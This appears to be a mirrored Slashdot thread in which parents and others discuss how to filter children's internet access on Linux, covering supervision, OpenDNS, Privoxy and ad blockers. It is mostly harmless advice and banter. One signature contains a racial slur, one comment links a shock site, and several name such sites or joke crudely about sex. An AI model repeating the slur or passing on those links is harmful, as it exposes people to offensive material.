Slashdot Mirror


What Filters Are Right For Kids?

WaywardGeek writes "My daughter is using phrases like 'hot guys,' and soon will have a chat about the birds and the bees. I believe in letting kids discover the world as it is, and have no Internet controls on any of our systems, which are mostly Linux based. However, it's not fair for aggressive porn advertisers to splash sex in her face without her permission. My question is: What Linux-based Internet filtering solution do Slashdot dads favor, and do they hinder a child's efforts to learn about the world?"

678 comments

  1. The simple one. by MoodyLoner · · Score: 5, Insightful

    Keep the computer in the living room.

    --
    No Longer a Menace to Society.
    Alexandria Morrigan born 2/22/01 l. 20.5in wt. 7 lbs. 5 oz.
    1. Re:The simple one. by PhilHibbs · · Score: 4, Insightful

      That isn't going to help against accidental clicks on spam links that take you to places you didn't want to go. What the OP wants is something that prevents accidental exposure to offensive content.

    2. Re:The simple one. by snowraver1 · · Score: 2, Interesting

      The most important thing that you can do is to properly educate her. Obviously don't encourage porn, but you shouldn't need to actually block it. Let her know the rules, and tell her the consequence if she breaks then (no computer for a week). Let her be in control.

      --
      Copyright 2010. All rights reserved. This comment may not be copied in any way including, but not limited to caching.
    3. Re:The simple one. by larien · · Score: 1

      That doesn't stop the drive-by porn pop-ups (and before you say it, pop-up blockers are only partiall effective these days).

    4. Re:The simple one. by MoodyLoner · · Score: 0, Redundant

      Yes it does.

      Because you will be there to talk to her about them.

      Although I admit that Firefox and NoScript are handy for popups, no tool that you can install on your system will beat engaged parenting.

      --
      No Longer a Menace to Society.
      Alexandria Morrigan born 2/22/01 l. 20.5in wt. 7 lbs. 5 oz.
    5. Re:The simple one. by Borealis · · Score: 2, Informative

      I second this one. Filterware is a bogus solution in just about any case, as there will always be sites it doesn't filter that it should and sites that it does filter that it shouldn't. The best solution is to put the computer in a place where you can always see what is being looked at.

      My son's computer is directly beside mine.

      Also, as embarrassing as it may be for you, teaching your children comprehensive sex education at an early age won't hurt them any.

      --
      Unbreakable toys can be used to break other toys.
    6. Re:The simple one. by cayenne8 · · Score: 5, Insightful
      "That isn't going to help against accidental clicks on spam links that take you to places you didn't want to go. What the OP wants is something that prevents accidental exposure to offensive content."

      I have to ask...do people REALLY that often, hit porn sites by accident?

      I mean, I can count on one hand (I know I know) the number of times I've actually had porn flash up on my browser when I was not looking for it....in all these years.

      How bad a problem is this actually? From anecdotal evidence, I'd have to guess if someone has porn on the screen....they were looking for it.

      --
      Light travels faster than sound. This is why some people appear bright until you hear them speak.........
    7. Re:The simple one. by ucblockhead · · Score: 1

      One or two random links isn't going to cause damage, even goatse.cx

      --
      The cake is a pie
    8. Re:The simple one. by Anonymous Coward · · Score: 1, Informative

      Happens to me about once a day -- about every time I go to mininova or whatever, but forgot to turn on privoxy. Whatever, I'm old enough to ignore it (and know what I want when I look for it). But it happens.

    9. Re:The simple one. by kirbysuperstar · · Score: 3, Informative

      I have to ask...do people REALLY that often, hit porn sites by accident?

      No.

    10. Re:The simple one. by stonedcat · · Score: 0

      itsapeetrap!!

      --
      You can't take the sky from me.
    11. Re:The simple one. by F�an�ro · · Score: 1

      adblock plus would take care of that

    12. Re:The simple one. by Sowelu · · Score: 4, Interesting

      Think back to when you were ten, you put a random term into Google, and clicked the first link.

      Or, "I wonder what this ad is about, I think I'll click it".

      It doesn't happen to people who are more experienced internet users, but it does happen. If you didn't use the internet at that age, it probably didn't happen to you.

    13. Re:The simple one. by Anonymous Coward · · Score: 0

      I have to ask...do people REALLY that often, hit porn sites by accident?

      I hit them on Purpose. Your Porn filters have nothing on me :P

    14. Re:The simple one. by ocularDeathRay · · Score: 2, Funny

      well if you want your kids to learn fast, just grab your favorite open source browser and hard-code the URL so she can only go to Belladonna's website. Make sure you provide her with a credit card too. After a month or so you can rest assured that nothing on the internet will really shock her anymore. Then you can set her browser back to normal.

      there. another problem solved by asking slashdot.

      --
      Obama is a twitter sock puppet
    15. Re:The simple one. by Anonymous Coward · · Score: 0

      Bingo. The only adequate filter is you. Pay attention to your kids.

    16. Re:The simple one. by Al+Dimond · · Score: 2, Insightful

      Does that really qualify as "accidentally"? You're going to a sketch P2P/tracker/whatever site that has porn ads on it, and you know this.

    17. Re:The simple one. by k.a.f. · · Score: 2, Interesting

      I have to ask...do people REALLY that often, hit porn sites by accident?

      Here's an anecdote for ya: I've been using the WWW since I got a university account in 1993. As it happens, the first time I accidentally loaded a NSFW page, ever, was... today. (I was googling "LaTeX font color", of all things...)

      So, anecdotally, I'd have to say: no, not really. YMMV.

    18. Re:The simple one. by Anonymous Coward · · Score: 0

      That honestly doesn't help. Some 10 years ago, when I was 14, I had a little girlfriend (also 14 at the time) with a webcam. Their computer was in the living room. Her way of flashing her boobs was simple: wear a dressing gown. Mummy and daddy can happily watch the telly while their lovely daughter whores around on da interweb.

      Face it, if kids want to get up to no good, they will.

    19. Re:The simple one. by Devout_IPUite · · Score: 1

      About 3 times in the last 14 years or so. I'm 25 today.

    20. Re:The simple one. by flitty · · Score: 4, Insightful

      Ok, but now you know exactly how to spot bad links and suspicious websites, right? So this is a skill that can be learned.

      I say, put the computer in the living room, Teach your damn kid what a red flag for a suspicious link/website looks like, and use firefox/noscript/adblock. Those three things should be enough for 99% of people on the net. Otherwise, she's looking for it.

      --
      Whether or not there is some sort of god, I'm not supposed to say/god is a word and the argument ends there-Smog
    21. Re:The simple one. by Mr.+Firewall · · Score: 5, Funny

      Think back to when you were ten, you put a random term into Google

      When I was ten, a google was a fixed (i.e., not random) value. Also:

      • The World Wide Web did not exist.
      • For that matter the INTERNET did not exist.
      • I had never seen a color TV (though I had heard about them, and was curious)
      • Home electronics ran on vacuum tubes.
      • John F. Kennedy was President of the United States.

      So, no, I can't relate to your example. Now get off my lawn.

      --
      In times of universal deceit, telling the truth gets you modded -1 Troll
    22. Re:The simple one. by geminidomino · · Score: 4, Informative

      Sure it does.

      1) /etc/hosts - Unwieldy, but effective.
      2) apt-get install bind - A little better, zone files are available
      3) OpenDNS and the like...
      4) Privoxy
      5) Squid+Junkbuster
      6) ...

    23. Re:The simple one. by Anonymous Coward · · Score: 0

      I like this answer. So my 9 yr old will now be exposed to things that disgust even me. I mean we don't need anti-virus, spam blockers, or anything else because we all "control what we click"

      I hope your not a parent. The "blame everyone else" is whats wrong with the world today.

    24. Re:The simple one. by hansamurai · · Score: 1

      Well, when I was in my teens and dial-up was popular, the web was a far different place than it is today. Back in the 90's, people made money off porn on the internet, so those kind of ads were commonplace. Now, it's all about Google ads. The only time I see any kind of risque ad, even with Adblock turned on, is when I'm on that kind of site.

    25. Re:The simple one. by anonymous_wombat · · Score: 1

      I get email on my yahoo account all the time either for buying prescription drugs or sex sites, or some combination of the two (Viagra). I didn't subscribe to any of this. That is an accident as far as I'm concerned.

    26. Re:The simple one. by JCSoRocks · · Score: 3, Insightful

      I agree. I've been cruising around the 'net since around the same time ('93/'94) and I've never accidentally found myself on a NSFW page. I've been rick rolled plenty, but thankfully there are no memes that involve duping people into going to NSFW sites and getting written up by HR.

      However, I'm not going to say it's impossible. I know of people that have accidentally gone to whitehouse.com rather than .gov. A child learning about the Internet and trying to do a report on the White House could easily make the same mistake.

      --
      You are using English. Please learn the difference between loose and lose; they're, there, and their; your and you're.
    27. Re:The simple one. by flitty · · Score: 1

      no tool that you can install on your system will beat engaged parenting.

      No, but I hear there will be an iPhone App for that, as soon as it makes it through the approval process.

      --
      Whether or not there is some sort of god, I'm not supposed to say/god is a word and the argument ends there-Smog
    28. Re:The simple one. by interkin3tic · · Score: 5, Funny

      I have to ask...do people REALLY that often, hit porn sites by accident?

      Yes, every time my wife or boss walks in and there's porn on the screen? Accident.

    29. Re:The simple one. by Asmor · · Score: 1

      There were no googles on the interbutts when I was 10, you insensitive clod!

    30. Re:The simple one. by interkin3tic · · Score: 2, Insightful

      Keep the computer in the living room.

      Of course that increases the chances that you'll walk into an embarassing situation for both you and your kid.

    31. Re:The simple one. by Anonymous Coward · · Score: 0

      When I was ten, there was no google. you insensitive clod!

    32. Re:The simple one. by Ephemeriis · · Score: 3, Informative

      I have to ask...do people REALLY that often, hit porn sites by accident?

      I mean, I can count on one hand (I know I know) the number of times I've actually had porn flash up on my browser when I was not looking for it....in all these years.

      How bad a problem is this actually? From anecdotal evidence, I'd have to guess if someone has porn on the screen....they were looking for it.

      Depends on the situation, the user, etc... But, yes, it does happen accidentally.

      You can throw some pretty innocent phrases into Google and get some pretty interesting results. Some torrent search sites, which are very popular for folks looking to download music, have pretty explicit advertising on them. And it's entirely too easy to wind up on somebody's mailing list and get deluged with advertisements for various adult services. Some malware pops up advertising as well, sometimes it is of the adult variety.

      --
      "Work is the curse of the drinking classes." -Oscar Wilde
    33. Re:The simple one. by Asmor · · Score: 2, Informative

      When you were 10 a google was not a fixed value or anything for that matter.

      Perhaps you're thinking of a googol.

    34. Re:The simple one. by The+Only+Druid · · Score: 4, Interesting

      Blaming everyone else is bad, but you're completely inanely conflating viruses, etc. and porn.

      The truth is, the best situation is to educate the child enough that they can be trusted to navigate the online world without either visiting porn inappropriately (i.e. w/ anyone else around) or downloading malware. The reality is, you have to educate children while using some protections against their mistakes.

      So, teach her about sex, etc. Explain the issues as best you can, and discourage her from visiting it too much (and certainly set rules). But don't pretend she'll never check it out. The truth is, there's no harm in her checking it out occasionally.

      Malware, on the other hand, is actually destructive, hence the use of spam, virus, etc. filters. So, teach her about it, hope she doesn't accidentally infect your system, but use tools to support her.

      The key idea is to support your child's growth, not to restrict it.

      --
      "Stumble before you crawl"
    35. Re:The simple one. by Anonymous Coward · · Score: 0

      For that matter, you could also list iptables as an effective blocking tool. The question was if there are suitable solutions (including blocklists) for the given scenario.

    36. Re:The simple one. by dawich · · Score: 5, Funny

      I've gone to whitehouse.com in front of ~80 people, deans and other faculty mainly, doing a presentation on Netscape 2 and all the nifty features including domain completion. "And here you can see I type in 'stanford' and it goes to www.stanford.edu without typing anymore. A handy shortcut. Let's try another, whitehouse, let's see what the president is doi.... aww crap." Projected on a 50' screen. Lovely day.

    37. Re:The simple one. by Anonymous Coward · · Score: 0

      Perhaps you are thinking of a googol? Google has never been a number, it just sounds like one.

    38. Re:The simple one. by cbiltcliffe · · Score: 1

      Create an OpenDNS account, set up the updater, and add filters in OpenDNS for whatever topics you want.

      Then just make sure your computer is using OpenDNS.

      --
      "City hall" in German is "Rathaus" Kinda explains a few things......
    39. Re:The simple one. by whtmarker · · Score: 1

      Keeping the computer in the living room doesn't prevent them from stumbling on bad stuff.

      The purpose of a good filter is 2 fold:
      1. prevent kids from stumbling onto bad stuff.
      2. prevent kids them from using the internet to be curious (the parent is paying for the connection and has a right to block or allow whatever they want).

      A customizable filter is best: k9 (win/mac). Customizable = if blocked it allows the user to invite the parent to override the block, (and add the site to a whitelist). This way, the kids can still access blocked items.

      So who determines what gets blocked? With a customizable filter, it is the parent, and because they are paying for the internet connection, they have a right to control what comes in on the internet connection. When the kids move out and go to college, they are old enough they can make their own decisions.

      However, I haven't found a customizable filter and free for linux yet. If you have an extra computer with 2 network cards you can try untangle os a firewall os with content filtering. I will try the opendns suggestions listed below, because it sounds like you can choose what categories are blocked and which aren't.

    40. Re:The simple one. by baxissimo · · Score: 0, Redundant

      When I was ten, a google was a fixed (i.e., not random) value.

      Actually a googol was and still is that. "Google" used to be just the name of a cartoon character.

    41. Re:The simple one. by Anonymous Coward · · Score: 0

      Dude, I am not that old but Google was not around, even when I was 20.

      Now, my two kiddies are still very young but I've begun pondering this issue already. What and how will I handle their online "discoveries"? I'm looking forward to reading the rest of this discussion...

    42. Re:The simple one. by fprintf · · Score: 1

      I like that. Another simple solution is OpenDNS.org - just change the DNS settings on your router, set up an account (even using a proxy email is fine) and turn whichever filtering options you want. I use it at home and find OpenDNS is very quick, and the filter works remarkably well. Some things occasionally slip through, but by and large I can't get to improper content without trying really really hard. It also disables proxies.

      --
      This post brought to you by your friendly neighborhood MBA.
    43. Re:The simple one. by lbbros · · Score: 2, Funny

      Actually it can happen even for experienced users. A Google search for the color of the plumes of a bird (which my colleagues had found and wanted to know the gender) made me realize there were a LOT of other synonyms for female genitalia that I didn't even know...

      --
      A CC-licensed illustrated horror novel
    44. Re:The simple one. by geminidomino · · Score: 1

      If he really wants to do it like the question says, I'd go with privoxy then. If I remember correctly, its "blocked" notice has a link to "unblock this".

      It's been years though.I might be confusing it with an old similar windows program called proxomitron (RIP)

    45. Re:The simple one. by merreborn · · Score: 1

      Keep the computer in the living room.

      When I was about 13-15, the family computer -- well, the one with internet access -- was in the living room.

      When I wanted to go places I wasn't supposed to on the internet, I'd just sneak out into the living room at 2 AM when everyone was asleep. I was something of an insomniac, so I was usually awake around then anyway.

      Oh, and I knew to clear the cache, and browsing history. And I was savvy enough that I probably could have worked around any sort of net nanny software, but my father never bothered to set any up in the first place. He was generally against filtering software -- I remember him regularly wearing an EFF T-shirt in the early nineties, so that probably gives you a pretty good idea of where he stood on such things.

      If my parents had any idea what I was up to, they never said anything about it.

      There wasn't much my parents could have done to prevent this:

      1. Have a child who's not an insomniac
      2. Be an insomniac yourself, so you can enforce the "stay the hell out of the living room after midnight" rule
      3. Ensure that the computer will not be functional after midnight (short of sleeping with the modem under your pillow, a tech savvy kid will be able to work around most methods of locking the computer down, so it's difficult to do this effectively)
      4. Accept that 13 year old males have libidos

      As a now soon-to-be father myself, I'm not sure how I'd address this issue. I know that, short of locking me in a closet, there was no way to prevent me from finding porn in one way or another at that age.

      I don't really think softcore did me much harm; it's all over cable TV in one form or another anyway. But I did occasionally encounter some really hardcore stuff that I found quite shocking and unpleasant at the time. And I thank god that 4chan didn't exist then...

      Honestly, I think the best way to mitigate harm to myself at that age would have been to make sure that I had a safe supply of softer stuff, so I wouldn't have to run into the harder stuff trying to find it on my own. But... I don't know that I advocate parents furnishing pornography to their children.

    46. Re:The simple one. by Sowelu · · Score: 2, Funny

      Actually, I'm pretty sure I'm trying desperately to repress my memories of Metacrawler, and Altavista (half-decent) and Webcrawler before that...

    47. Re:The simple one. by Anonymous Coward · · Score: 0

      thankfully there are no memes that involve duping people into going to NSFW sites and getting written up by HR.

      Goatse?

    48. Re:The simple one. by Anonymous Coward · · Score: 0

      Google was around in 1988? Seriously, is slashdot a bunch of children now?

      Holy crap.

    49. Re:The simple one. by cbiltcliffe · · Score: 1

      Or maybe his brain has started to decline, and he's just forgotten how to spell it....

      --
      "City hall" in German is "Rathaus" Kinda explains a few things......
    50. Re:The simple one. by gnick · · Score: 2, Informative

      I've been rick rolled plenty, but thankfully there are no memes that involve duping people into going to NSFW sites and getting written up by HR.

      Really? I've seen more than a couple of goatse links here on /. that were pretending to be something else - I'd classify that as NSFW. It's just that most of us have at one point or another run in to goatse and know to avoid it. And /. is not a place people come looking for porn - I could understand this guy's daughter noticing that her dad has "News For Nerds" bookmarked, wandering in here, and then clicking on a link that would flash some really nasty stuff in her face.

      [poor-attempt-at-humor] To help out the less tech-savvy public out there, the only real solution is intelligent well-thought-out legislation. Please vote Lemon Party in the next election. [/poor-attempt-at-humor]

      Disclaimer:
      If you are at work (or actually anywhere), do not actually google Lemon Party. I will not be held responsible for the mental trauma.

      --
      He's getting rather old, but he's a good mouse.
    51. Re:The simple one. by retchdog · · Score: 2, Funny

      Eww. I hope it wasn't a thrush.

      --
      "They were pure niggers." – Noam Chomsky
    52. Re:The simple one. by Duradin · · Score: 2, Insightful

      And we can't have people getting embarrassed. That'd hurt their feelings and rack up all sorts of bills at the therapist. And ignorance forbid, someone might actually learn a life lesson.

    53. Re:The simple one. by Anonymous Coward · · Score: 0

      As we all know, kids find potty humor hilarious. As a joke, a mother I know Googled "poop" with her 3rd grader present.

      oops...

      Let's just say, she had no idea how many defecation/fetish sites were available to a casual search.

      Good luck with "letting your daughter experience the internet as it is" You should also probably take her to a porn store near your house so she can get a broader perspective on retail stores "as they are". Idiot.

    54. Re:The simple one. by Medievalist · · Score: 1

      Although I admit that Firefox and NoScript are handy for popups, no tool that you can install on your system will beat engaged parenting.

      Indeed, I find that teaching the children to use firefox, noscript, and adblock is a good way to introduce the concepts of censoring, pre-emptive blocking, self-filtering, etc. You can show them how to take control of their own environment so they won't grow up to be the kind of people who demand censorship.

      Sounds like you've got the right idea to me.

    55. Re:The simple one. by Ragzouken · · Score: 1

      How is this "blame everyone else"? This is more like "trust your child to behave responsibly to encourage responsible behaviour".

    56. Re:The simple one. by Anonymous Coward · · Score: 0

      Think back to when you were ten, you put a random term into Google, and clicked the first link.

      when I was 10 I was dialing up bbs on a 300baud modem and posting harassing messages. Well actually that was more like 14. At 10 I was hacking on my dad's HP85, but I get your point.

    57. Re:The simple one. by JCSoRocks · · Score: 1

      Goatse is different because (on slashdot at least) you see a domain. So unless someone takes the time to setup a redirect page you're not going to end up there by accident. I have been fortunate enough to dodge every one of those goatse links.

      --
      You are using English. Please learn the difference between loose and lose; they're, there, and their; your and you're.
    58. Re:The simple one. by arthurpaliden · · Score: 2, Insightful

      There is a big difference between being exposed to it and being left alone in an environment where you can be drawn into it.

    59. Re:The simple one. by ucblockhead · · Score: 1

      Google filters results unless you go out of your way to turn off "safe search". Not perfectly, but between that and adblock, I can't remember the last time I accidentally clicked on something not knowing it was NSFW.

      --
      The cake is a pie
    60. Re:The simple one. by octaene · · Score: 1

      This is absolutely the best advice. Keeping the PC in a common, open family location is the #1 deterrent. I also agree with what others said, with regards to OpenDNS. Their service is free, and high quality!

    61. Re:The simple one. by DesertBlade · · Score: 2, Funny

      Learned this one the hard way, do a google image search for "penny" with safe search turned off.

      --
      Half of writing history is hiding the truth.
    62. Re:The simple one. by Anonymous Coward · · Score: 0

      Think back to when you were ten, you put a random term into Google, and clicked the first link.

      Google wasn't around when I was ten, you insensitive clod!

    63. Re:The simple one. by Anonymous Coward · · Score: 0

      I'm going to disagree with the "no memes that go to NSFW sites".

    64. Re:The simple one. by Anonymous Coward · · Score: 0

      I guess no one told you to check out the lemon-party, glass-ass, goatsecx, two girls one cup, tub girl, two spoons one guy, mr hands, stiles project or bmezine.

    65. Re:The simple one. by digitalgiblet · · Score: 1

      I have to ask...do people REALLY that often, hit porn sites by accident?

      Kids often spell things incorrectly leading to incorrect search results.

    66. Re:The simple one. by The+Great+Pretender · · Score: 1

      At ten (1980) I didn't have computer and was trying to steal Hustler from the local news store.

      --
      A positive attitude may not solve all your problems, but it will annoy enough people to make it worth the effort.
    67. Re:The simple one. by Hubbell · · Score: 1, Interesting

      Heh, my mom's first foray onto the internet was around 96 or 97, and she went to a search engine and typed in Zucchini Recipes to find something to make with the excess zucchini we had from our garden. My mom claims to have never recovered from the things she saw women doing with zucchinis lol

    68. Re:The simple one. by geminidomino · · Score: 1

      Happy birthday!

    69. Re:The simple one. by Mr.+Firewall · · Score: 5, Funny

      Or maybe his brain has started to decline, and he's just forgotten how to spell it....

      Guilty as charged. Now GET OFF MY...

      ...have you seen my glasses?

      --
      In times of universal deceit, telling the truth gets you modded -1 Troll
    70. Re:The simple one. by Grimnir512 · · Score: 2, Insightful

      And on the same token, you'd better know what you're looking for when you search "Asian swallows" =P

    71. Re:The simple one. by Anonymous Coward · · Score: 0

      You're a classic case. You failed to read the OP's question and information. Go back and read it, instead of ranting like a 13 year old girl with ginger hair.

    72. Re:The simple one. by geminidomino · · Score: 2, Insightful

      I don't know that I advocate parents furnishing pornography to their children.

      They were doing that long before the internet, there just weren't a bunch of fuckwits on the news screaming about how 12 year old boys were making off with pop's Hustlers.

    73. Re:The simple one. by LordVader717 · · Score: 2, Insightful

      If it came up with a porn site, chances are it wasn't a random term. I used to try sometimes to see how fast I could "click" my way from a respectable site to explicit images, by solely using the links on site.

      In conclusion it's safe to say that it doesn't happen very often. If you activate Google's safesearch you can't really find any even if you're looking.

      It's perfectly normal for kids to be curious about sex. It's up to you if you want to allow them to look at the stuff on the internet. They sure as hell won't be corrupted "by accident".

    74. Re:The simple one. by hviniciusg · · Score: 1

      Shit, thats why you should follow advices. i did googled Lemon Party, http://www.lemonparty.org/. dont click that link. You have been warned

    75. Re:The simple one. by StikyPad · · Score: 1

      Tell me you're joking. Virtually every non-mainstream site advertises porn or adult content. You'd have to walk a very narrow path along the web to not accidentally bump into some porn. AdBblock Plus filters most of this for me (fortunately, otherwise I'd be wanking it way more often, or at least wasting time checking out the ads instead of completing the task at hand -- no pun intended), but it's not perfect, and many sites actively seek to avoid the blocking filters.

    76. Re:The simple one. by Anonymous Coward · · Score: 1, Interesting

      My 7 year old was trying to get to WebKinz, and somehow ended up on a porn site. We were about 10 feet away at the time, but it was pretty terrible to hear a small child ask why those girls were eating winkies

    77. Re:The simple one. by Anonymous Coward · · Score: 0

      I work in the scientific field, dealing with oceanography and wetlands and such. Some scientific programs have innocent enough names... which are also good porn site names.

      I'm sure there are other examples.

    78. Re:The simple one. by Anonymous Coward · · Score: 0

      So my kid's 8, and she starts googling the stars of the disney channel. Guess what the number 1 hit for "Lindsay Lohan" is? Guess what you get if you mis-spell it?

      Not age appropriate.

      "blame the parents" is a tiresome refrain, 'specially from folk who seem unaware of the realities of being one.

    79. Re:The simple one. by The+Great+Pretender · · Score: 1

      My recommendations, based on a recent similar experience with son: 1) While I don't know the age of your daughter, have the conversation sooner than later. Don't put it off. You may find she understands more than you think and you can clarify somethings that she understands wrong 2)Explain the porn industry hidden within the concept of all internet problems including chat rooms, scams etc. and how predatory it is, no matter how much you may enjoy porn. Obviously the dialogue has to be at her level. 3) Only the parents can put in a credit card number. 4) Trust her...to some degree. What worked here was the agreement that I would check the history on the browsers, even the hidden ones, on a random basis. I owned the computer, he uses it. He was free to surf as he wished within the agreed boundaries. Accidents happen, but he knows I'm not stupid and can see trends. Abuse of this, or the "accidental" deletion of the history, online rights are revoked for a period of time (increasing with the number of abuses). I would not check his personal messages, unless he abused his browsing site rights, then everything was up for grabs. The cool thing with 3+4 is that I actually wrote up a full contract and we both signed it, yet another lesson. Now the discussion with the wife - if he can visit a site without me being able to find it, good for him, let him reap the benefits of his ingenuity - or my lack of knowledge. At this point in time, I've only ever had the desire to check twice in 6 months and things seemed fine, but then again he's generally a good kid. The funny thing is, when someone asks me if my mother trusted me, I always say yes, but she should'nt have... 3)

      --
      A positive attitude may not solve all your problems, but it will annoy enough people to make it worth the effort.
    80. Re:The simple one. by noidentity · · Score: 1

      Think back to when you were ten, you put a random term into Google, and clicked the first link.

      Let's see, Google is currently about ten years old, so...

    81. Re:The simple one. by Tubal-Cain · · Score: 4, Funny

      Let's try another, whitehouse, let's see what the president is doi...

      Clinton was President then, wasn't he?

    82. Re:The simple one. by geeksdave · · Score: 1

      A certain TV station in Nashville placed a link to Whitehouse.com on their website as a related link back when I worked across town at their competitor. It stayed up for a week before they caught it and MY boss called me in to make sure that I knew the difference.. Quite funny really..

    83. Re:The simple one. by Anonymous Coward · · Score: 0

      well you havent been looking arround torrents site or warez site they are full of porn ads, with annoying pop ups

    84. Re:The simple one. by Anonymous Coward · · Score: 0

      Oh my god, I grew up with a computer from about 1989 (when I was 12) through the 90s with no parental supervision whatsoever. I built my own computer against the wishes of my parents. I spent countless hours on BBSes (and fidonet, etc) and then later on the internet (IRC, forums, usenet, etc)... ... And nobody ever filtered or controlled or monitored or limited anything. And somehow, I shockingly survived. I even met people from online individually and sometimes at user meets from the age of twelve. I never got raped or abducted or killed and thrown in a ditch.

      Whether or not a kid is stupid or has any common sense, the most you need to do is instill them with simple reason. Rather than filtering "hot boys" and monitor their every minute on the computer, how about we teach them to do a little thinking? I'm sorry, but at 8 or 10 or 12 or 14 you are not an mushy head of dumb. You know not to meet people alone in their home for the first time, to be cautious about meeting people older than you, about giving out private information carelessly and about people posing as people they aren't.

      More, these things are not new. As I say, this was relevant as far as online stuff twenty years ago. And in other areas, the exact same knowledge and common sense has been vital for a hundred years.

    85. Re:The simple one. by publiclurker · · Score: 1

      Or if you try to look up the spec's for a small garden rototiller called "little hoe"

    86. Re:The simple one. by dave562 · · Score: 1

      I agree with this post. If I had a child and internet access was an issue, I would setup a proxy server so that I can log their web browsing. Then I would have a discussion with them about what is and isn't acceptable. After a month, I'd go over the proxy logs. If there were questionable site visits in there, we'd have a talk. Even if there weren't any questionable sites, we would still have a talk and I'd let the kid know that I'm proud of them for behaving responsibly.

      I think on some level, parents have to realize that children are curious. As a kid, I didn't have the internet but I had a modem and a list of BBS numbers. I spent most of my online time reading Phrack, swapping warez and doing all sorts of questionable things with phone systems. Kids these days aren't any different. They are going to use the computer to access things that interest them. Rather than blocking them outright, I think it's better to have discussions with them about what they are interested in. When my dad found out that I was pirating software, he went out and bought me a book on x86 ASM. It wasn't that he necessarily wanted to encourage me to crack software. As a programmer himself, he was excited that I was interested in computers.

    87. Re:The simple one. by doti · · Score: 1

      pics, or it didn't happen

      --
      factor 966971: 966971
    88. Re:The simple one. by gbjbaanb · · Score: 1

      Keep the computer in the living room.

      that's the only one.

      anecdote: A technically-minded colleague decided his daughter was old enough for a computer in her bedroom, so.. he put one together and installed every piece of internet filtering he could lay his hands on. So she has one of her friends round, and off they go to surf facebook (or whatever).

      A short time later, there's massive amounts of giggling coming from the room, so he decides to nip up and just see if everything is fine, sticks his head round the door and asks what's so funny only to be told "daddy, daddy, look. that woman's done a poo on that man's chest".

      Yup, young child has decided to google for the most funny thing in the world to a 9 year old, which obviously is poop, and has been directed to the front page for a hardcore bondage website. Fortunately they were too young to know what scat is and thought it was hilarious (there's a lesson in that for adults I think), whilst daddy is traumatised :)

      Mind you, we laughed our tits off in the office next day when he told us.

    89. Re:The simple one. by ArcherB · · Score: 1

      Actually it can happen even for experienced users. A Google search for the color of the plumes of a bird (which my colleagues had found and wanted to know the gender) made me realize there were a LOT of other synonyms for female genitalia that I didn't even know...

      There's a bird called the cooter?

      --
      There is no "I disagree" mod for a reason. Flamebait, Troll, and Overrated are not substitutes.
    90. Re:The simple one. by Ken_g6 · · Score: 1

      For the curious, click this link instead. (SFW)

      It's usually better to look up common things on Wikipedia instead of Google.

      --
      (T>t && O(n)--) == sqrt(666)
    91. Re:The simple one. by Anonymous Coward · · Score: 0

      Actually, you'd be surprised. I work for a financial management firm, and we use a specific custodian for our clients.

      Well, you'd be surprised how different the sites are for --dex as opposed to --dix.

      We had a client call us up telling us we were smut peddlers and she was furious. We had to explain she mis-typed the website. Afterward she was a bit more calm.

    92. Re:The simple one. by Chees0rz · · Score: 1

      maybe she's surfing the net for warez or cracks
      or at least that's how my mom thinks those bad sites got on our computer...

    93. Re:The simple one. by Asmor · · Score: 1

      Don't forget Lycos!

    94. Re:The simple one. by Kral_Blbec · · Score: 1

      My teacher once was trying to show us some stock information. Nasdaq spelled with a K is nsfw.

    95. Re:The simple one. by Kral_Blbec · · Score: 1

      I've been reading slashdot for years and have yet to ever go to goase. I'm not in a hurry to find out whatever is on there.

    96. Re:The simple one. by ToadMan8 · · Score: 1

      My mother-in-law was trying to buy her son a basketball for Christmas and went to Dicks.com to locate one. Unless you have the "is there a porn pun to this search string?" brain-filter on all of the time, it can occasionally happen.

      We play a game to search for something totally innocuous with Google Image search and see how many pages we can get through before finding porn.
      One can get to page 11 of "photo" results for the search string "Slashdot" before finding a naked woman's ass.

      --
      I haven't posted in so long, my sig is out of date.
    97. Re:The simple one. by soren202 · · Score: 2, Interesting

      Personally, I'd take the computer out of the living room. It's true that your child (especially late elementary/early middleschool) shouldn't be left alone TOO much nor have TOO much privacy, but at the same time, it may be worth it to let her have a nice secluded spot in the computer room.

      It sounds counter intuitive, and I'm sure the opposite goes for children who may not be able to handle it (you know better than I do) but some level of privacy is needed for children to get some level of mental independence from their parents, as well as to ensure they don't grow up a sheltered child.

      Plus, I'm sure you don't want walk in on your daughter trying to figure out what /b/ is, or what the big deal is with redtube.

    98. Re:The simple one. by Anonymous Coward · · Score: 0

      I have to ask...do people REALLY that often, hit porn sites by accident?

      I mean, I can count on one hand (I know I know) the number of times I've actually had porn flash up on my browser when I was not looking for it....in all these years.

      If you read other languages then English and if those languages resembles English. Then you get (American) porn ads every time you use Google and usually when you search for something in those languages. English have perverted every damn word of Germanic or Latin origin.

    99. Re:The simple one. by interkin3tic · · Score: 1

      Hey! Quit trying to put words into my mouth! I was just saying he/she should take a potential awkward situation into account when placing the computer. Therapy and hurt feelings? Not where I was going with that.

    100. Re:The simple one. by ToadMan8 · · Score: 1

      edit: animated bestiality on page 17.

      Another thing is when nitwits link porn and call it something else, which is what lead slashdot to post the root domain for all links (specifically goatse, AFAIK).

      --
      I haven't posted in so long, my sig is out of date.
    101. Re:The simple one. by soren202 · · Score: 1

      Then again, not everyone's 40 or so (I'm too lazy to figure out your actual age using contextual clues)

      Point is, children do that now days.

      In fact, pretty much anyone under the age of 23 or 24 does that when they have too much time. I still have friends that image search their names. Female friends. In school.

      I'm half waiting for them to get burned.

    102. Re:The simple one. by TheoMurpse · · Score: 1

      A sketch site that is likely also trafficked by pre-teen and teen girls looking to pirate some Jonas Brothers.

    103. Re:The simple one. by Anonymous Coward · · Score: 0

      That's because you don't use your internet. Ever. Have you been to Myspace, Facebook, or any of these social sites? There are porn advertisements all over the place and I regularly get friend invites from pornography companies that are just wolfs in sheep's clothing. If I wanted porn I would go to 4chan and get it for free. So why am I getting these adverts, would you like to tell me that?

    104. Re:The simple one. by Inda · · Score: 1

      They don't. We don't.

      But I often see adverts for "Meet hot chicks in [my_home_town]" - I wouldn't want my daughter to click those.

      --
      This post contains benzene, nitrosamines, formaldehyde and hydrogen cyanide.
    105. Re:The simple one. by gknoy · · Score: 1

      http://en.wikipedia.org/wiki/Coot

      I assume that's close enough.

    106. Re:The simple one. by Sage+Gaspar · · Score: 1

      How often does your computer get so overloaded with adware, spyware, trojans and all other kinds of malicious software that it slows to a snail's pace? Yet that happened regularly with my younger siblings, my high school friends, and pretty much every shared family computer I've ever run into. It happened enough that people just assumed that's how computers went and they needed to buy a new computer because their old one was outdated.

